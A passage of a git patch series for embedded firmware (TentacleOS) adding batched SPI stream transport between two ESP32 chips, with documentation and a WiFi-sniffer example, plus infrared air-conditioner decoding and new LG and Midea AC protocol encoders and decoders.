batch_len][u16 op][u8 len][data]... + // The master always clocks SPI_STREAM_FRAME_SIZE for stream reads; + // batch_len = 0 means "no data" and the P4 just backs off. + uint8_t *recs = tx_buf + sizeof(spi_header_t) + sizeof(uint16_t); + uint16_t cap = SPI_STREAM_FRAME_SIZE - sizeof(spi_header_t) - sizeof(uint16_t); + uint16_t batch_len = 0; + uint16_t w; + while ((w = stream_pop_into(recs, batch_len, cap)) > 0) + batch_len += w; + + spi_header_t stream_header = {.sync = SPI_SYNC_BYTE, + .type = SPI_TYPE_STREAM, + .category = 0, + .op = 0, + .length = 0}; + memcpy(tx_buf, &stream_header, sizeof(stream_header)); + tx_buf[sizeof(spi_header_t)] = (uint8_t)(batch_len & 0xFF); + tx_buf[sizeof(spi_header_t) + 1] = (uint8_t)((batch_len >> 8) & 0xFF); + tx_size = SPI_STREAM_FRAME_SIZE; + tx_ready = true; } else { status = SPI_STATUS_UNSUPPORTED; } @@ -343,7 +361,7 @@ static void bridge_task(void *pvParameters) { .category = header->category, .op = header->op, .length = (uint8_t)(resp_len + SPI_RESP_STATUS_SIZE)}; - memset(tx_buf, 0, sizeof(tx_buf)); + memset(tx_buf, 0, SPI_FRAME_SIZE); memcpy(tx_buf, &resp_header, sizeof(resp_header)); tx_buf[sizeof(resp_header)] = (uint8_t)status; if (resp_len > 0) @@ -352,7 +370,8 @@ static void bridge_task(void *pvParameters) { // Arm the response, signal the master, then immediately re-arm the next // receive so the slave is ready before the response transfer even completes. - spi_slave_driver_queue(&tx_trans, tx_buf, NULL, SPI_FRAME_SIZE); + // tx_size is SPI_STREAM_FRAME_SIZE for a batched stream frame, else SPI_FRAME_SIZE. + spi_slave_driver_queue(&tx_trans, tx_buf, NULL, tx_size); spi_bridge_notify_master(); memset(rx_buf, 0, sizeof(rx_buf)); spi_slave_driver_queue(&rx_trans, NULL, rx_buf, SPI_FRAME_SIZE); diff --git a/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h b/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h index b2db5e9f3..ea1222327 100644 --- a/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h +++ b/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h @@ -289,6 +289,14 @@ typedef struct __attribute__((packed)) { // in length, and the 5-byte header would otherwise make the frame size odd. #define SPI_FRAME_SIZE (((sizeof(spi_header_t) + SPI_MAX_PAYLOAD) + 3u) & ~3u) +// Larger fixed transfer size used ONLY by the SYSTEM_STREAM response, which +// batches many stream records into one transfer to amortize per-frame overhead. +// The command/response path keeps using SPI_FRAME_SIZE. Must be a multiple of 4 +// for SPI DMA. Stream frame layout (after the 5-byte header, type = STREAM): +// [u16 batch_len][record]... where each record = [u16 op][u8 len][len bytes] +// and `record` data is exactly what session_manager queued (meta + payload). +#define SPI_STREAM_FRAME_SIZE 2048 + /** * @brief WiFi connect request payload. */ diff --git a/firmware_p4/components/Service/spi_bridge/spi_bridge.c b/firmware_p4/components/Service/spi_bridge/spi_bridge.c index 4a1c7b287..b9527d63f 100644 --- a/firmware_p4/components/Service/spi_bridge/spi_bridge.c +++ b/firmware_p4/components/Service/spi_bridge/spi_bridge.c @@ -48,7 +48,7 @@ static volatile bool s_bridge_alive = true; static stream_cb_slot_t s_stream_cbs[SPI_STREAM_CB_SLOTS] = {0}; static void stream_task(void *arg); -static esp_err_t fetch_stream(spi_header_t *out_header, uint8_t *out_payload, uint8_t *out_len); +static esp_err_t fetch_stream(const uint8_t **out_records, uint16_t *out_batch_len); static spi_stream_cb_t get_stream_cb(spi_id_t id); static bool has_any_stream_cb(void); @@ -268,19 +268,25 @@ static bool has_any_stream_cb(void) { return false; } -static esp_err_t fetch_stream(spi_header_t *out_header, uint8_t *out_payload, uint8_t *out_len) { +// Fetches one batched stream frame. On ESP_OK, *out_records points into a +// static buffer holding the records region ([u16 op][u8 len][data]...) and +// *out_batch_len is its length in bytes (0 = no data pending). The returned +// pointer is valid until the next fetch_stream call (single consumer task). +static esp_err_t fetch_stream(const uint8_t **out_records, uint16_t *out_batch_len) { + static uint8_t s_stream_tx[SPI_STREAM_FRAME_SIZE]; // stays zero; master clocks zeros out + static uint8_t s_stream_rx[SPI_STREAM_FRAME_SIZE]; + spi_header_t header = {.sync = SPI_SYNC_BYTE, .type = SPI_TYPE_CMD, .category = SPI_CMD_CAT(SPI_ID_SYSTEM_STREAM), .op = SPI_CMD_OP(SPI_ID_SYSTEM_STREAM), .length = 0}; - uint8_t tx_buf[SPI_FRAME_SIZE]; - uint8_t rx_buf[SPI_FRAME_SIZE]; - memset(tx_buf, 0, sizeof(tx_buf)); - memcpy(tx_buf, &header, sizeof(header)); + uint8_t cmd_tx[SPI_FRAME_SIZE]; + memset(cmd_tx, 0, sizeof(cmd_tx)); + memcpy(cmd_tx, &header, sizeof(header)); - esp_err_t ret = spi_bridge_phy_transmit(tx_buf, NULL, SPI_FRAME_SIZE); + esp_err_t ret = spi_bridge_phy_transmit(cmd_tx, NULL, SPI_FRAME_SIZE); if (ret != ESP_OK) return ret; @@ -288,29 +294,29 @@ static esp_err_t fetch_stream(spi_header_t *out_header, uint8_t *out_payload, ui if (ret != ESP_OK) return ret; - memset(tx_buf, 0, sizeof(tx_buf)); - memset(rx_buf, 0, sizeof(rx_buf)); - ret = spi_bridge_phy_transmit(tx_buf, rx_buf, SPI_FRAME_SIZE); + ret = spi_bridge_phy_transmit(s_stream_tx, s_stream_rx, SPI_STREAM_FRAME_SIZE); if (ret != ESP_OK) return ret; - spi_header_t *resp = (spi_header_t *)rx_buf; + spi_header_t *resp = (spi_header_t *)s_stream_rx; if (resp->sync != SPI_SYNC_BYTE) return ESP_ERR_INVALID_RESPONSE; if (resp->type == SPI_TYPE_STREAM) { - if (out_header != NULL) - *out_header = *resp; - if (out_len != NULL) - *out_len = resp->length; - if (resp->length > 0 && out_payload != NULL) { - memcpy(out_payload, rx_buf + sizeof(spi_header_t), resp->length); - } + uint16_t batch_len = (uint16_t)s_stream_rx[sizeof(spi_header_t)] | + ((uint16_t)s_stream_rx[sizeof(spi_header_t) + 1] << 8); + uint16_t cap = SPI_STREAM_FRAME_SIZE - sizeof(spi_header_t) - sizeof(uint16_t); + if (batch_len > cap) + batch_len = cap; + if (out_records != NULL) + *out_records = s_stream_rx + sizeof(spi_header_t) + sizeof(uint16_t); + if (out_batch_len != NULL) + *out_batch_len = batch_len; return ESP_OK; } if (resp->type == SPI_TYPE_RESP && resp->length >= SPI_RESP_STATUS_SIZE) { - spi_status_t status = (spi_status_t)rx_buf[sizeof(spi_header_t)]; + spi_status_t status = (spi_status_t)s_stream_rx[sizeof(spi_header_t)]; return status_to_err(status); } @@ -318,9 +324,6 @@ static esp_err_t fetch_stream(spi_header_t *out_header, uint8_t *out_payload, ui } static void stream_task(void *arg) { - uint8_t payload[SPI_MAX_PAYLOAD]; - spi_header_t header; - while (1) { if (!has_any_stream_cb()) { s_stream_task_handle = NULL; @@ -338,17 +341,27 @@ static void stream_task(void *arg) { continue; } - uint8_t len = 0; - esp_err_t ret = fetch_stream(&header, payload, &len); + const uint8_t *records = NULL; + uint16_t batch_len = 0; + esp_err_t ret = fetch_stream(&records, &batch_len); xSemaphoreGive(s_spi_mutex); - if (ret != ESP_OK) { + if (ret != ESP_OK || batch_len == 0 || records == NULL) { vTaskDelay(pdMS_TO_TICKS(SPI_STREAM_IDLE_MS)); continue; } - spi_stream_cb_t cb = get_stream_cb(spi_header_cmd(&header)); - if (cb != NULL) { - cb(spi_header_cmd(&header), payload, len); + // Unpack [u16 op][u8 len][data]... and dispatch each record to its callback, + // exactly as if it had arrived in its own frame. + uint16_t off = 0; + while (off + 3u <= batch_len) { + uint16_t op = (uint16_t)records[off] | ((uint16_t)records[off + 1] << 8); + uint8_t rec_len = records[off + 2]; + if ((uint32_t)off + 3u + rec_len > batch_len) + break; // truncated/malformed — stop + spi_stream_cb_t cb = get_stream_cb(op); + if (cb != NULL) + cb(op, records + off + 3, rec_len); + off += 3u + rec_len; } vTaskDelay(pdMS_TO_TICKS(SPI_STREAM_YIELD_MS)); } From 944b4feea25d2e42ffdbc8323852e7e6334d464e Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Tue, 2 Jun 2026 13:38:51 -0300 Subject: [PATCH 026/572] docs(spi): document batched stream transport with example --- .../components/Service/spi_bridge/README.md | 64 ++++++++++++++++++- 1 file changed, 63 insertions(+), 1 deletion(-) diff --git a/firmware_p4/components/Service/spi_bridge/README.md b/firmware_p4/components/Service/spi_bridge/README.md index 1f2123560..b22256d64 100644 --- a/firmware_p4/components/Service/spi_bridge/README.md +++ b/firmware_p4/components/Service/spi_bridge/README.md @@ -231,6 +231,68 @@ To keep the bridge simple, we use a "Dumb Pipe" approach for large data sets (li 2. **Pull Item**: Call `SPI_ID_SYSTEM_DATA` with index `0 to N`. 3. **Real-time Stats**: Call `SPI_ID_SYSTEM_DATA` with index `0xEEEE` to get a `sniffer_stats_t` structure. +## Stream Transport (batched) + +Long-running ops (sniffers, mesh bridge) emit a continuous stream of records. +The P4 drains them by polling `SPI_ID_SYSTEM_STREAM`. To keep throughput high, +the transport **batches many records into one transfer** instead of one record +per round-trip: + +- The C5 buffers records in a ring (depth `SPI_STREAM_QUEUE_LEN = 64`). On a + `SPI_ID_SYSTEM_STREAM` poll it packs as many as fit into a single large frame + of `SPI_STREAM_FRAME_SIZE` (2048 B) and the P4 always clocks that fixed size. +- Stream frame layout (after the 5-byte header, `type = STREAM`): + `[u16 batch_len]` then `batch_len` bytes of records, each + `[u16 op][u8 len][len bytes]`. `batch_len = 0` means "no data" → the P4 backs + off and polls again later. +- The P4 unpacks and dispatches **each record to its `op`'s stream callback**, + exactly as if it had arrived in its own frame — so session/`seq`/backpressure + semantics stay **per record** (see Session Lifecycle). The command/response + path is unaffected and still uses `SPI_FRAME_SIZE`. + +Two related tunables: the C5 signals readiness with a short rising-edge IRQ +pulse (~10 µs — the P4 catches it via a GPIO edge interrupt, so no held level +or millisecond delay is needed), and bursts are absorbed by the 64-deep ring; +when it overflows, records are dropped and counted (never block capture). + +### Stream Example (WiFi sniffer) + +**Producer — C5** (each captured 802.11 frame becomes one record; the session +layer adds the `{session_id, seq}` meta and applies backpressure): +```c +spi_wifi_sniffer_frame_t f = { .rssi = -42, .channel = 6, .len = n, /* data */ }; +session_manager_try_emit(session_id, (const uint8_t *)&f, 3 + n); +``` + +**On the wire** — the P4 polls `SYSTEM_STREAM` and the C5 returns one 2 KB frame +batching the queued records: +``` +P4 -> C5: AA 01 00 06 00 poll: SYSTEM_STREAM (cat 0x00, op 0x06) +C5 -> P4: AA 03 00 00 00 | + ^ header, type=STREAM (cat/op/length unused for the batch) + payload: + 20 00 batch_len = 0x0020 (32 bytes of records) + ── record 1 ─────────────────────── + 25 01 op = 0x0125 (SPI_ID_WIFI_APP_SNIFFER) + 0D rec_len = 13 + 34 12 00 00 01 00 00 00 spi_stream_meta_t { session_id=0x1234, seq=1 } + D6 06 02 AA BB frame: rssi=-42, ch=6, len=2, data=AA BB + ── record 2 (same op, seq=2) ────── + 25 01 0D 34 12 00 00 02 00 00 00 D6 06 02 CC DD + ── remaining bytes up to 2048 = padding, ignored (batch_len bounds it) ── +``` + +**Consumer — P4** (each record is dispatched to the op's callback; the meta is +stripped by the session layer, so the consumer sees only the frame): +```c +// registered via spi_session_start(SPI_ID_WIFI_APP_SNIFFER, …, on_stream, …) +static void on_stream(const uint8_t *payload, uint8_t len) { + const spi_wifi_sniffer_frame_t *f = (const void *)payload; // one captured frame + storage_stream_write(pcap, f->data, f->len); +} +``` +See `wifi_sniffer.c` (both firmwares) for the full reference implementation. + ## Adding a New Command To add a new feature (e.g., "GPS Get Location"): @@ -284,7 +346,7 @@ Drops are counted and logged. | C5 → P4 | START reply | status byte + `spi_session_resp_t { session_id }` | | P4 → C5 | every 2s | `SPI_ID_SESSION_HEARTBEAT` + `spi_heartbeat_req_t` | | C5 → P4 | heartbeat reply | status + `spi_heartbeat_resp_t { alive }` | -| C5 → P4 | data | `op_id` STREAM + `spi_stream_meta_t { session_id, seq }` + payload | +| C5 → P4 | data | batched STREAM frame (see "Stream Transport"); each record = `op` + `spi_stream_meta_t { session_id, seq }` + payload | | P4 → C5 | STOP | `SPI_ID_SESSION_STOP` + `spi_session_stop_req_t { session_id }` | | C5 → P4 | watchdog kill | `SPI_ID_SESSION_LOST` STREAM + `spi_session_lost_t { session_id, cmd }` | From 741476e0afc1c507d63c18fc43940ee0c0deecea Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Tue, 2 Jun 2026 21:47:08 -0300 Subject: [PATCH 027/572] feat(ir): decode received AC frames into ir_ac_state_t --- .../components/Service/ir/include/ir_ac.h | 33 ++++++++ firmware_p4/components/Service/ir/ir_ac.c | 83 +++++++++++++++++++ 2 files changed, 116 insertions(+) diff --git a/firmware_p4/components/Service/ir/include/ir_ac.h b/firmware_p4/components/Service/ir/include/ir_ac.h index bc9ea6f45..e012c212b 100644 --- a/firmware_p4/components/Service/ir/include/ir_ac.h +++ b/firmware_p4/components/Service/ir/include/ir_ac.h @@ -37,6 +37,10 @@ typedef enum { IR_AC_PROTO_UNKNOWN = 0, IR_AC_PROTO_COOLIX, IR_AC_PROTO_GREE, + IR_AC_PROTO_LG, + IR_AC_PROTO_MIDEA, + IR_AC_PROTO_TOSHIBA, + IR_AC_PROTO_HAIER, IR_AC_PROTO_COUNT, } ir_ac_protocol_t; @@ -79,6 +83,24 @@ typedef struct { */ const char *ir_ac_protocol_name(ir_ac_protocol_t proto); +/** + * @brief Get the display name of an AC operating mode. + * + * @param[in] mode Mode identifier. + * + * @return Null-terminated string name. + */ +const char *ir_ac_mode_name(ir_ac_mode_t mode); + +/** + * @brief Get the display name of an AC fan speed. + * + * @param[in] fan Fan speed identifier. + * + * @return Null-terminated string name. + */ +const char *ir_ac_fan_name(ir_ac_fan_t fan); + /** * @brief Get the carrier frequency for an AC protocol. * @@ -113,6 +135,17 @@ size_t ir_ac_encode(const ir_ac_state_t *state, rmt_symbol_word_t *symbols, size */ esp_err_t ir_ac_send(const ir_ac_state_t *state); +/** + * @brief Try to decode RMT symbols into an AC state using all known protocols. + * + * @param[in] symbols RMT symbol buffer. Must not be NULL. + * @param[in] count Number of symbols. Must be greater than 0. + * @param[out] out_state Destination for the decoded state. Must not be NULL. + * + * @return true if an AC protocol matched, false otherwise. + */ +bool ir_ac_decode(const rmt_symbol_word_t *symbols, size_t count, ir_ac_state_t *out_state); + #ifdef __cplusplus } #endif diff --git a/firmware_p4/components/Service/ir/ir_ac.c b/firmware_p4/components/Service/ir/ir_ac.c index 004d8f8de..b913f86b7 100644 --- a/firmware_p4/components/Service/ir/ir_ac.c +++ b/firmware_p4/components/Service/ir/ir_ac.c @@ -15,11 +15,17 @@ #include "ir_ac.h" +#include + #include "esp_log.h" #include "ir.h" #include "ir_ac_coolix.h" #include "ir_ac_gree.h" +#include "ir_ac_lg.h" +#include "ir_ac_midea.h" +#include "ir_ac_toshiba.h" +#include "ir_ac_haier.h" static const char *TAG = "IR_AC"; @@ -29,17 +35,63 @@ const char *ir_ac_protocol_name(ir_ac_protocol_t proto) { return "COOLIX"; case IR_AC_PROTO_GREE: return "GREE"; + case IR_AC_PROTO_LG: + return "LG"; + case IR_AC_PROTO_MIDEA: + return "MIDEA"; + case IR_AC_PROTO_TOSHIBA: + return "TOSHIBA"; + case IR_AC_PROTO_HAIER: + return "HAIER"; default: return "UNKNOWN"; } } +const char *ir_ac_mode_name(ir_ac_mode_t mode) { + switch (mode) { + case IR_AC_MODE_COOL: + return "Cool"; + case IR_AC_MODE_DRY: + return "Dry"; + case IR_AC_MODE_HEAT: + return "Heat"; + case IR_AC_MODE_FAN: + return "Fan"; + case IR_AC_MODE_AUTO: + default: + return "Auto"; + } +} + +const char *ir_ac_fan_name(ir_ac_fan_t fan) { + switch (fan) { + case IR_AC_FAN_LOW: + return "Low"; + case IR_AC_FAN_MED: + return "Med"; + case IR_AC_FAN_HIGH: + return "High"; + case IR_AC_FAN_AUTO: + default: + return "Auto"; + } +} + uint32_t ir_ac_carrier_freq(ir_ac_protocol_t proto) { switch (proto) { case IR_AC_PROTO_COOLIX: return COOLIX_CARRIER_HZ; case IR_AC_PROTO_GREE: return GREE_CARRIER_HZ; + case IR_AC_PROTO_LG: + return LGAC_CARRIER_HZ; + case IR_AC_PROTO_MIDEA: + return MIDEA_CARRIER_HZ; + case IR_AC_PROTO_TOSHIBA: + return TOSHIBA_CARRIER_HZ; + case IR_AC_PROTO_HAIER: + return HAIER_CARRIER_HZ; default: return COOLIX_CARRIER_HZ; } @@ -54,6 +106,14 @@ size_t ir_ac_encode(const ir_ac_state_t *state, rmt_symbol_word_t *symbols, size return ir_ac_coolix_encode(state, symbols, max); case IR_AC_PROTO_GREE: return ir_ac_gree_encode(state, symbols, max); + case IR_AC_PROTO_LG: + return ir_ac_lg_encode(state, symbols, max); + case IR_AC_PROTO_MIDEA: + return ir_ac_midea_encode(state, symbols, max); + case IR_AC_PROTO_TOSHIBA: + return ir_ac_toshiba_encode(state, symbols, max); + case IR_AC_PROTO_HAIER: + return ir_ac_haier_encode(state, symbols, max); default: ESP_LOGW(TAG, "Encode called with unknown AC protocol: %d", (int)state->protocol); return 0; @@ -71,3 +131,26 @@ esp_err_t ir_ac_send(const ir_ac_state_t *state) { return ir_send_raw(symbols, count, ir_ac_carrier_freq(state->protocol)); } + +bool ir_ac_decode(const rmt_symbol_word_t *symbols, size_t count, ir_ac_state_t *out_state) { + if (symbols == NULL || count == 0 || out_state == NULL) + return false; + + memset(out_state, 0, sizeof(ir_ac_state_t)); + + if (ir_ac_coolix_decode(symbols, count, out_state)) + return true; + if (ir_ac_gree_decode(symbols, count, out_state)) + return true; + if (ir_ac_lg_decode(symbols, count, out_state)) + return true; + if (ir_ac_midea_decode(symbols, count, out_state)) + return true; + if (ir_ac_toshiba_decode(symbols, count, out_state)) + return true; + if (ir_ac_haier_decode(symbols, count, out_state)) + return true; + + out_state->protocol = IR_AC_PROTO_UNKNOWN; + return false; +} From 0ec2ee2c33812be34263ee2ebcc239e3ec755809 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Tue, 2 Jun 2026 21:48:04 -0300 Subject: [PATCH 028/572] feat(ir): new protocol LG AC --- .../components/Service/ir/include/ir_ac_lg.h | 78 +++++++ firmware_p4/components/Service/ir/ir_ac_lg.c | 204 ++++++++++++++++++ 2 files changed, 282 insertions(+) create mode 100644 firmware_p4/components/Service/ir/include/ir_ac_lg.h create mode 100644 firmware_p4/components/Service/ir/ir_ac_lg.c diff --git a/firmware_p4/components/Service/ir/include/ir_ac_lg.h b/firmware_p4/components/Service/ir/include/ir_ac_lg.h new file mode 100644 index 000000000..2cd8dbc03 --- /dev/null +++ b/firmware_p4/components/Service/ir/include/ir_ac_lg.h @@ -0,0 +1,78 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef IR_AC_LG_H +#define IR_AC_LG_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "ir_ac.h" + +/** @brief LG AC carrier frequency in Hz. */ +#define LGAC_CARRIER_HZ 38000 + +/** @brief LG AC header mark duration in microseconds. */ +#define LGAC_HDR_MARK 8500 + +/** @brief LG AC header space duration in microseconds. */ +#define LGAC_HDR_SPACE 4250 + +/** @brief LG AC bit mark duration in microseconds. */ +#define LGAC_BIT_MARK 550 + +/** @brief LG AC one-bit space duration in microseconds. */ +#define LGAC_ONE_SPACE 1600 + +/** @brief LG AC zero-bit space duration in microseconds. */ +#define LGAC_ZERO_SPACE 550 + +/** @brief Number of data bits in an LG AC frame. */ +#define LGAC_FRAME_BITS 28 + +/** + * @brief Encode an LG AC state into RMT symbols. + * + * 28-bit MSB-first frame: 0x88 signature, power, mode, temperature, fan and a + * 4-bit nibble-sum checksum. + * + * @param[in] state AC state to encode. Must not be NULL. + * @param[out] symbols Destination buffer. Must not be NULL. + * @param[in] max Capacity of @p symbols in symbols. + * + * @return Number of symbols written, or 0 on failure. + */ +size_t ir_ac_lg_encode(const ir_ac_state_t *state, rmt_symbol_word_t *symbols, size_t max); + +/** + * @brief Decode RMT symbols into an LG AC state. + * + * Validates the header, the 0x88 signature and the nibble-sum checksum before + * extracting power, mode, temperature and fan. + * + * @param[in] symbols RMT symbol buffer. Must not be NULL. + * @param[in] count Number of symbols. + * @param[out] out_state Destination for the decoded state. Must not be NULL. + * + * @return true if the frame is a valid LG AC state, false otherwise. + */ +bool ir_ac_lg_decode(const rmt_symbol_word_t *symbols, size_t count, ir_ac_state_t *out_state); + +#ifdef __cplusplus +} +#endif + +#endif // IR_AC_LG_H diff --git a/firmware_p4/components/Service/ir/ir_ac_lg.c b/firmware_p4/components/Service/ir/ir_ac_lg.c new file mode 100644 index 000000000..623421311 --- /dev/null +++ b/firmware_p4/components/Service/ir/ir_ac_lg.c @@ -0,0 +1,204 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "ir_ac_lg.h" + +#include "esp_log.h" + +#include "ir_protocol.h" + +static const char *TAG = "IR_AC_LG"; + +#define LGAC_SIGNATURE 0x88 +#define LGAC_SIGN_SHIFT 20 +#define LGAC_POWER_SHIFT 18 +#define LGAC_MODE_SHIFT 12 +#define LGAC_TEMP_SHIFT 8 +#define LGAC_FAN_SHIFT 4 + +#define LGAC_POWER_ON 0 +#define LGAC_POWER_OFF 3 + +#define LGAC_MODE_COOL 0 +#define LGAC_MODE_DRY 1 +#define LGAC_MODE_FAN 2 +#define LGAC_MODE_AUTO 3 +#define LGAC_MODE_HEAT 4 + +#define LGAC_FAN_LOW 1 +#define LGAC_FAN_MED 2 +#define LGAC_FAN_HIGH 4 +#define LGAC_FAN_AUTO 5 + +#define LGAC_TEMP_MIN 16 +#define LGAC_TEMP_MAX 30 +#define LGAC_TEMP_ADJUST 15 + +#define LGAC_OFF_COMMAND 0x88C0051u +#define LGAC_MIN_SYMBOLS 29 + +static uint8_t lgac_checksum(uint32_t raw); + +size_t ir_ac_lg_encode(const ir_ac_state_t *state, rmt_symbol_word_t *symbols, size_t max) { + if (state == NULL || symbols == NULL || max == 0) { + ESP_LOGE(TAG, "encode: invalid arguments"); + return 0; + } + + uint32_t raw; + if (!state->power) { + raw = LGAC_OFF_COMMAND; + } else { + uint8_t mode_code; + switch (state->mode) { + case IR_AC_MODE_COOL: + mode_code = LGAC_MODE_COOL; + break; + case IR_AC_MODE_DRY: + mode_code = LGAC_MODE_DRY; + break; + case IR_AC_MODE_FAN: + mode_code = LGAC_MODE_FAN; + break; + case IR_AC_MODE_HEAT: + mode_code = LGAC_MODE_HEAT; + break; + case IR_AC_MODE_AUTO: + default: + mode_code = LGAC_MODE_AUTO; + break; + } + + uint8_t fan_code; + switch (state->fan) { + case IR_AC_FAN_LOW: + fan_code = LGAC_FAN_LOW; + break; + case IR_AC_FAN_MED: + fan_code = LGAC_FAN_MED; + break; + case IR_AC_FAN_HIGH: + fan_code = LGAC_FAN_HIGH; + break; + case IR_AC_FAN_AUTO: + default: + fan_code = LGAC_FAN_AUTO; + break; + } + + uint8_t temp = state->temp_c; + if (temp < LGAC_TEMP_MIN) + temp = LGAC_TEMP_MIN; + if (temp > LGAC_TEMP_MAX) + temp = LGAC_TEMP_MAX; + + raw = ((uint32_t)LGAC_SIGNATURE << LGAC_SIGN_SHIFT) | + ((uint32_t)LGAC_POWER_ON << LGAC_POWER_SHIFT) | ((uint32_t)mode_code << LGAC_MODE_SHIFT) | + ((uint32_t)(temp - LGAC_TEMP_ADJUST) << LGAC_TEMP_SHIFT) | + ((uint32_t)fan_code << LGAC_FAN_SHIFT); + raw |= lgac_checksum(raw); + } + + ir_encode_distance_cfg_t cfg = { + .header_mark = LGAC_HDR_MARK, + .header_space = LGAC_HDR_SPACE, + .bit_mark = LGAC_BIT_MARK, + .one_space = LGAC_ONE_SPACE, + .zero_space = LGAC_ZERO_SPACE, + .max = max, + .msb_first = true, + .stop_bit = true, + }; + return ir_encode_pulse_distance(symbols, raw, LGAC_FRAME_BITS, &cfg); +} + +bool ir_ac_lg_decode(const rmt_symbol_word_t *symbols, size_t count, ir_ac_state_t *out_state) { + if (symbols == NULL || count == 0 || out_state == NULL) { + ESP_LOGE(TAG, "decode: invalid arguments"); + return false; + } + if (count < LGAC_MIN_SYMBOLS) + return false; + if (!ir_match(symbols[0].duration0, LGAC_HDR_MARK) || + !ir_match(symbols[0].duration1, LGAC_HDR_SPACE)) + return false; + + ir_pulse_distance_cfg_t cfg = { + .one_space = LGAC_ONE_SPACE, + .zero_space = LGAC_ZERO_SPACE, + .msb_first = true, + }; + uint32_t raw = (uint32_t)ir_decode_pulse_distance(symbols, 1, LGAC_FRAME_BITS, &cfg); + + if (((raw >> LGAC_SIGN_SHIFT) & 0xFF) != LGAC_SIGNATURE) + return false; + if ((raw & 0xF) != lgac_checksum(raw)) + return false; + + out_state->protocol = IR_AC_PROTO_LG; + + if (((raw >> LGAC_POWER_SHIFT) & 0x3) == LGAC_POWER_OFF) { + out_state->power = false; + out_state->mode = IR_AC_MODE_COOL; + out_state->temp_c = LGAC_TEMP_MIN; + out_state->fan = IR_AC_FAN_AUTO; + return true; + } + out_state->power = true; + + switch ((raw >> LGAC_MODE_SHIFT) & 0x7) { + case LGAC_MODE_COOL: + out_state->mode = IR_AC_MODE_COOL; + break; + case LGAC_MODE_DRY: + out_state->mode = IR_AC_MODE_DRY; + break; + case LGAC_MODE_FAN: + out_state->mode = IR_AC_MODE_FAN; + break; + case LGAC_MODE_HEAT: + out_state->mode = IR_AC_MODE_HEAT; + break; + case LGAC_MODE_AUTO: + default: + out_state->mode = IR_AC_MODE_AUTO; + break; + } + + out_state->temp_c = (uint8_t)(((raw >> LGAC_TEMP_SHIFT) & 0xF) + LGAC_TEMP_ADJUST); + + switch ((raw >> LGAC_FAN_SHIFT) & 0xF) { + case LGAC_FAN_LOW: + out_state->fan = IR_AC_FAN_LOW; + break; + case LGAC_FAN_MED: + out_state->fan = IR_AC_FAN_MED; + break; + case LGAC_FAN_HIGH: + out_state->fan = IR_AC_FAN_HIGH; + break; + case LGAC_FAN_AUTO: + default: + out_state->fan = IR_AC_FAN_AUTO; + break; + } + return true; +} + +static uint8_t lgac_checksum(uint32_t raw) { + return (uint8_t)((((raw >> 4) & 0xF) + ((raw >> 8) & 0xF) + ((raw >> 12) & 0xF) + + ((raw >> 16) & 0xF)) & + 0xF); +} From d79052693e372dcf9e7473e7c0eed30fe4642bd3 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Tue, 2 Jun 2026 21:48:21 -0300 Subject: [PATCH 029/572] feat(ir): new protocol Midea AC --- .../Service/ir/include/ir_ac_midea.h | 81 ++++++ .../components/Service/ir/ir_ac_midea.c | 247 ++++++++++++++++++ 2 files changed, 328 insertions(+) create mode 100644 firmware_p4/components/Service/ir/include/ir_ac_midea.h create mode 100644 firmware_p4/components/Service/ir/ir_ac_midea.c diff --git a/firmware_p4/components/Service/ir/include/ir_ac_midea.h b/firmware_p4/components/Service/ir/include/ir_ac_midea.h new file mode 100644 index 000000000..0d2dd3037 --- /dev/null +++ b/firmware_p4/components/Service/ir/include/ir_ac_midea.h @@ -0,0 +1,81 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#ifndef IR_AC_MIDEA_H +#define IR_AC_MIDEA_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "ir_ac.h" + +/** @brief Midea carrier frequency in Hz. */ +#define MIDEA_CARRIER_HZ 38000 + +/** @brief Midea header mark duration in microseconds. */ +#define MIDEA_HDR_MARK 4480 + +/** @brief Midea header space duration in microseconds. */ +#define MIDEA_HDR_SPACE 4480 + +/** @brief Midea bit mark duration in microseconds. */ +#define MIDEA_BIT_MARK 560 + +/** @brief Midea one-bit space duration in microseconds. */ +#define MIDEA_ONE_SPACE 1680 + +/** @brief Midea zero-bit space duration in microseconds. */ +#define MIDEA_ZERO_SPACE 560 + +/** @brief Midea gap between the normal and inverted sub-frames, in microseconds. */ +#define MIDEA_MIN_GAP 4240 + +/** @brief Number of data bits in a Midea sub-frame. */ +#define MIDEA_FRAME_BITS 48 + +/** + * @brief Encode a Midea AC state into RMT symbols. + * + * Emits the 48-bit frame MSB-first followed by a fully inverted copy, as the + * Midea protocol requires. + * + * @param[in] state AC 